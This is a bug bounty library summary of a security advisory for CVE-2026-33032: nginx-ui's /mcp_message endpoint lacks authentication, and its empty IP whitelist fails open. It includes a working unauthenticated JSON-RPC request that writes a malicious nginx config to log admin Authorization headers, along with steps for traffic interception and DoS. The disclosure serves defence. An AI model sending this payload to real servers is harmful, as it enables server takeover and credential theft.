# nginx-ui's Unauthenticated MCP Endpoint Allows Remote Nginx Takeover

nginx-ui's /mcp_message endpoint lacked AuthRequired middleware and the default IP whitelist was empty, letting unauthenticated attackers rewrite nginx configs and reload for full takeover.

- Payout: Research
- Severity: critical
- Program: nginx-ui
- Found by: yotampe-pluto
- Disclosed: 2026-03-30
- CVE: CVE-2026-33032
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-h6c2-x2m2-mwhf
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-h6c2-x2m2-mwhf
- Tags: area:web domain:web impact:data-leak impact:dos impact:integrity kind:research platform:ghsa sev:critical tech:go technique:source-review vuln:access-control vuln:auth-bypass vuln:misconfiguration

**Target:** nginx-ui MCP HTTP endpoints (/mcp_message) on port 9000
**Root cause:** The /mcp_message route was registered with only IPWhiteList middleware, omitting AuthRequired, while both routes dispatch to the same mcp.ServeHTTP handler. The IP whitelist middleware fails open when the list is empty (the default), so no access control applied at all.
**Steps:**
1. Compare route registrations in `mcp/router.go`: `/mcp` has `middleware.AuthRequired()`, `/mcp_message` does not, both call `mcp.ServeHTTP(c)`.
2. Confirm `settings.AuthSettings.IPWhiteList` is uninitialized by default and `ip_whitelist.go` calls `c.Next()` when `len(...) == 0`.
3. Send `POST /mcp_message` with JSON-RPC body `{"jsonrpc":"2.0","method":"tools/call","params":{"name":"nginx_config_add","arguments":{"name":"evil.conf","content":"server { listen 8443; location / { proxy_pass http://127.0.0.1:9000; access_log /etc/nginx/conf.d/tokens.log; } }","base_dir":"conf.d","overwrite":true,"sync_node_ids":[]},"id":1}` with no Authorization header.
4. Config write triggers `nginx.Control(nginx.Reload)` at `config_add.go:74`, applying the malicious config immediately.
**How found:** Code review of the MCP router revealed an auth asymmetry between two routes sharing one handler; tracing the IPWhiteList middleware showed it fails open on the default empty whitelist, removing the only remaining gate.
**Exploitation:** Any network attacker reaching port 9000 invokes MCP tools unauthenticated: read all configs via nginx_config_get to map upstreams and TLS paths, write a malicious server block via nginx_config_add (auto-reload) or nginx_config_modify on nginx.conf, then intercept/redirect traffic or inject access_log directives to harvest Authorization headers from admins, escalating to the REST API. Invalid configs plus reload cause DoS.
**Escalation:** Harvested Authorization headers from injected access_log enable escalation from nginx control to the nginx-ui REST API and its broader management surface.
**Insight:** When two routes share one handler, diff their middleware chains — a missing AuthRequired on a sibling endpoint is a common oversight. Also audit fail-open defaults: an empty allowlist treated as 'allow all' silently disables the control.

## Proof of concept (copied exactly from the original report)

**Unauthenticated POST to /mcp_message invoking nginx_config_add**

```
POST /mcp_message HTTP/1.1
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "nginx_config_add",
    "arguments": {
      "name": "evil.conf",
      "content": "server { listen 8443; location / { proxy_pass http://127.0.0.1:9000; access_log /etc/nginx/conf.d/tokens.log; } }",
      "base_dir": "conf.d",
      "overwrite": true,
      "sync_node_ids": []
    }
  },
  "id": 1
}
```

**Route registration showing /mcp_message lacks AuthRequired**

```
func InitRouter(r *gin.Engine) {
	r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(),
		func(c *gin.Context) {
			mcp.ServeHTTP(c)
		})
	r.Any("/mcp_message", middleware.IPWhiteList(),
		func(c *gin.Context) {
			mcp.ServeHTTP(c)
		})
}
```

**Empty IP whitelist fail-open middleware check**

```
clientIP := c.ClientIP()
		if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
			c.Next()
			return
		}
```

